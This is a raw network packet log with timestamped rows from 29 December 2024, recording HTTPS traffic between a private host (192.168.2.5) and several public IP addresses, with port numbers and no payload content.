Dec 29, 2024 05:45:46.615865946 CET	49898	443	192.168.2.5	20.110.205.119
Dec 29, 2024 05:45:46.615902901 CET	443	49898	20.110.205.119	192.168.2.5
Dec 29, 2024 05:45:46.616642952 CET	443	49898	20.110.205.119	192.168.2.5
Dec 29, 2024 05:45:46.617908955 CET	49898	443	192.168.2.5	20.110.205.119
Dec 29, 2024 05:45:46.617988110 CET	443	49898	20.110.205.119	192.168.2.5
Dec 29, 2024 05:45:46.618473053 CET	49898	443	192.168.2.5	20.110.205.119
Dec 29, 2024 05:45:46.618758917 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.618778944 CET	443	49888	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:46.618798018 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.618805885 CET	443	49888	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:46.618819952 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.618827105 CET	443	49888	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:46.618843079 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.618854046 CET	443	49888	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:46.618900061 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.618911982 CET	443	49888	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:46.619071007 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.619077921 CET	443	49888	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:46.619091034 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.619102955 CET	443	49888	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:46.619117975 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.619237900 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.619252920 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.619281054 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.619281054 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.619386911 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.619410992 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.619453907 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.619461060 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.619488955 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.619505882 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.621212959 CET	443	49888	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:46.636224985 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.636236906 CET	443	49888	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:46.636260033 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.636271954 CET	443	49888	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:46.636337996 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.636344910 CET	443	49888	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:46.636362076 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.636369944 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.636383057 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.636425972 CET	443	49888	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:46.636533976 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.636543989 CET	443	49888	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:46.636559010 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.636600971 CET	443	49888	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:46.636648893 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.636666059 CET	443	49888	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:46.636751890 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.636759996 CET	443	49888	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:46.636776924 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.636785030 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.636801958 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.636809111 CET	443	49888	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:46.636885881 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.636898041 CET	443	49888	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:46.636921883 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.636934996 CET	443	49888	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:46.636946917 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.636956930 CET	443	49888	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:46.636965036 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.636965036 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.636980057 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.636981010 CET	443	49888	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:46.636996031 CET	443	49888	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:46.637200117 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.637207031 CET	443	49888	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:46.637233019 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.637242079 CET	443	49888	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:46.637252092 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.637265921 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.637275934 CET	443	49888	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:46.637294054 CET	443	49888	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:46.637322903 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.637331009 CET	443	49888	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:46.637340069 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.637348890 CET	443	49888	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:46.637368917 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.637368917 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.637381077 CET	443	49888	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:46.637509108 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.637530088 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.637537956 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.637664080 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.637677908 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.637686968 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.637703896 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.637751102 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.655812025 CET	443	49904	23.219.82.59	192.168.2.5
Dec 29, 2024 05:45:46.656605959 CET	49904	443	192.168.2.5	23.219.82.59
Dec 29, 2024 05:45:46.656641960 CET	443	49904	23.219.82.59	192.168.2.5
Dec 29, 2024 05:45:46.660818100 CET	443	49904	23.219.82.59	192.168.2.5
Dec 29, 2024 05:45:46.660883904 CET	49904	443	192.168.2.5	23.219.82.59
Dec 29, 2024 05:45:46.663331032 CET	443	49898	20.110.205.119	192.168.2.5
Dec 29, 2024 05:45:46.667614937 CET	443	49888	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:46.686288118 CET	49904	443	192.168.2.5	23.219.82.59
Dec 29, 2024 05:45:46.686547995 CET	443	49904	23.219.82.59	192.168.2.5
Dec 29, 2024 05:45:46.697252035 CET	443	49903	23.219.82.59	192.168.2.5
Dec 29, 2024 05:45:46.698415041 CET	49903	443	192.168.2.5	23.219.82.59
Dec 29, 2024 05:45:46.698426008 CET	443	49903	23.219.82.59	192.168.2.5
Dec 29, 2024 05:45:46.699265957 CET	443	49903	23.219.82.59	192.168.2.5
Dec 29, 2024 05:45:46.699340105 CET	49903	443	192.168.2.5	23.219.82.59
Dec 29, 2024 05:45:46.703879118 CET	49903	443	192.168.2.5	23.219.82.59
Dec 29, 2024 05:45:46.703922987 CET	443	49903	23.219.82.59	192.168.2.5
Dec 29, 2024 05:45:46.704587936 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.704615116 CET	443	49888	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:46.711692095 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.711704016 CET	443	49888	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:46.711759090 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.711770058 CET	443	49888	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:46.711827993 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.711839914 CET	443	49888	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:46.711966991 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.711976051 CET	443	49888	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:46.711992979 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.712006092 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.712028980 CET	443	49888	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:46.712029934 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.712070942 CET	443	49888	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:46.712269068 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.712276936 CET	443	49888	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:46.712297916 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.712305069 CET	443	49888	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:46.712320089 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.712331057 CET	443	49888	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:46.712371111 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.712383032 CET	443	49888	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:46.712397099 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.712404966 CET	443	49888	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:46.712414026 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.712421894 CET	443	49888	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:46.712455034 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.712471962 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.712481022 CET	443	49888	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:46.712486029 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.712492943 CET	443	49888	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:46.712630987 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.712639093 CET	443	49888	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:46.712656975 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.712696075 CET	443	49888	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:46.712757111 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.712764978 CET	443	49888	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:46.712785006 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.712826014 CET	443	49888	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:46.712883949 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.712896109 CET	443	49888	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:46.712959051 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.712965965 CET	443	49888	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:46.712977886 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.712999105 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.713049889 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.713066101 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.713264942 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.713279009 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.713288069 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.713327885 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.713339090 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.713385105 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.728069067 CET	443	49897	108.138.128.56	192.168.2.5
Dec 29, 2024 05:45:46.728137970 CET	443	49897	108.138.128.56	192.168.2.5
Dec 29, 2024 05:45:46.728193998 CET	49897	443	192.168.2.5	108.138.128.56
Dec 29, 2024 05:45:46.729084969 CET	49897	443	192.168.2.5	108.138.128.56
Dec 29, 2024 05:45:46.729093075 CET	443	49897	108.138.128.56	192.168.2.5
Dec 29, 2024 05:45:46.738323927 CET	49904	443	192.168.2.5	23.219.82.59
Dec 29, 2024 05:45:46.738342047 CET	443	49904	23.219.82.59	192.168.2.5
Dec 29, 2024 05:45:46.739160061 CET	443	49888	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:46.744663000 CET	49903	443	192.168.2.5	23.219.82.59
Dec 29, 2024 05:45:46.744669914 CET	443	49903	23.219.82.59	192.168.2.5
Dec 29, 2024 05:45:46.751370907 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.751383066 CET	443	49888	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:46.752022028 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.752033949 CET	443	49888	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:46.752260923 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.752273083 CET	443	49888	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:46.752293110 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.752299070 CET	443	49888	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:46.752355099 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.752367020 CET	443	49888	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:46.752820969 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.752827883 CET	443	49888	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:46.752846003 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.752859116 CET	443	49888	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:46.752871990 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.752887011 CET	443	49888	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:46.752919912 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.752926111 CET	443	49888	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:46.753253937 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.753262043 CET	443	49888	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:46.753282070 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.753289938 CET	443	49888	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:46.753298998 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.753310919 CET	443	49888	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:46.753313065 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.753321886 CET	443	49888	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:46.753365993 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.753381014 CET	443	49888	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:46.753408909 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.753415108 CET	443	49888	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:46.753441095 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.753449917 CET	443	49888	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:46.753462076 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.753468037 CET	443	49888	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:46.753479958 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.753498077 CET	443	49888	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:46.756764889 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.756781101 CET	443	49888	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:46.756791115 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.756804943 CET	443	49888	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:46.756809950 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.756841898 CET	443	49888	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:46.756880045 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.756887913 CET	443	49888	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:46.756897926 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.756906986 CET	443	49888	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:46.756943941 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.756956100 CET	443	49888	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:46.757071972 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.757085085 CET	443	49888	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:46.757095098 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.757107019 CET	443	49888	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:46.757117987 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.757147074 CET	443	49888	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:46.757236004 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.757244110 CET	443	49888	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:46.757265091 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.757276058 CET	443	49888	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:46.757366896 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.757374048 CET	443	49888	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:46.757392883 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.757401943 CET	443	49888	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:46.757509947 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.757515907 CET	443	49888	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:46.757531881 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.757541895 CET	443	49888	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:46.757589102 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.757613897 CET	443	49888	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:46.757827997 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.757836103 CET	443	49888	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:46.757852077 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.757863045 CET	443	49888	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:46.757900953 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.757911921 CET	443	49888	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:46.757930040 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.757946014 CET	443	49888	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:46.757982969 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.757991076 CET	443	49888	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:46.758003950 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.758011103 CET	443	49888	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:46.758025885 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.758040905 CET	443	49888	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:46.758191109 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.758198023 CET	443	49888	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:46.758217096 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.758248091 CET	443	49888	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:46.758322954 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.758332968 CET	443	49888	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:46.758351088 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.758361101 CET	443	49888	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:46.758452892 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.758460045 CET	443	49888	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:46.758476019 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.758486986 CET	443	49888	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:46.758584023 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.758595943 CET	443	49888	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:46.758616924 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.758624077 CET	443	49888	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:46.758663893 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.758676052 CET	443	49888	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:46.758894920 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.758908987 CET	443	49888	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:46.758935928 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.758945942 CET	443	49888	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:46.758989096 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.758996010 CET	443	49888	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:46.759006023 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.759016037 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.759018898 CET	443	49888	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:46.759057999 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.759069920 CET	443	49888	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:46.759077072 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.759108067 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.759123087 CET	443	49888	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:46.759243965 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.759260893 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.759267092 CET	443	49888	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:46.759278059 CET	443	49888	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:46.759361029 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.759370089 CET	443	49888	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:46.759387970 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.759399891 CET	443	49888	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:46.765198946 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.765212059 CET	443	49888	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:46.765242100 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.765253067 CET	443	49888	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:46.765309095 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.765317917 CET	443	49888	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:46.765332937 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.765347004 CET	443	49888	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:46.765388012 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.765399933 CET	443	49888	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:46.765538931 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.765549898 CET	443	49888	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:46.765665054 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.765675068 CET	443	49888	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:46.765687943 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.765697002 CET	443	49888	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:46.765791893 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.765800953 CET	443	49888	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:46.765820980 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.765866041 CET	443	49888	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:46.765923023 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.765934944 CET	443	49888	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:46.765954971 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.765968084 CET	443	49888	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:46.766014099 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.766025066 CET	443	49888	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:46.766427994 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.766439915 CET	443	49888	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:46.766608953 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.766624928 CET	443	49888	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:46.766824961 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.766833067 CET	443	49888	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:46.766921997 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.766931057 CET	443	49888	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:46.766947985 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.766978979 CET	443	49888	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:46.767013073 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.767023087 CET	443	49888	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:46.767041922 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.767051935 CET	443	49888	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:46.767131090 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.767138004 CET	443	49888	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:46.767158985 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.767169952 CET	443	49888	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:46.767250061 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.767263889 CET	443	49888	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:46.767277956 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.767292976 CET	49888	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:46.767293930 CET	443	49888	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:46.767308950 CET	443	49888	116.203.14.4	192.168.2.5
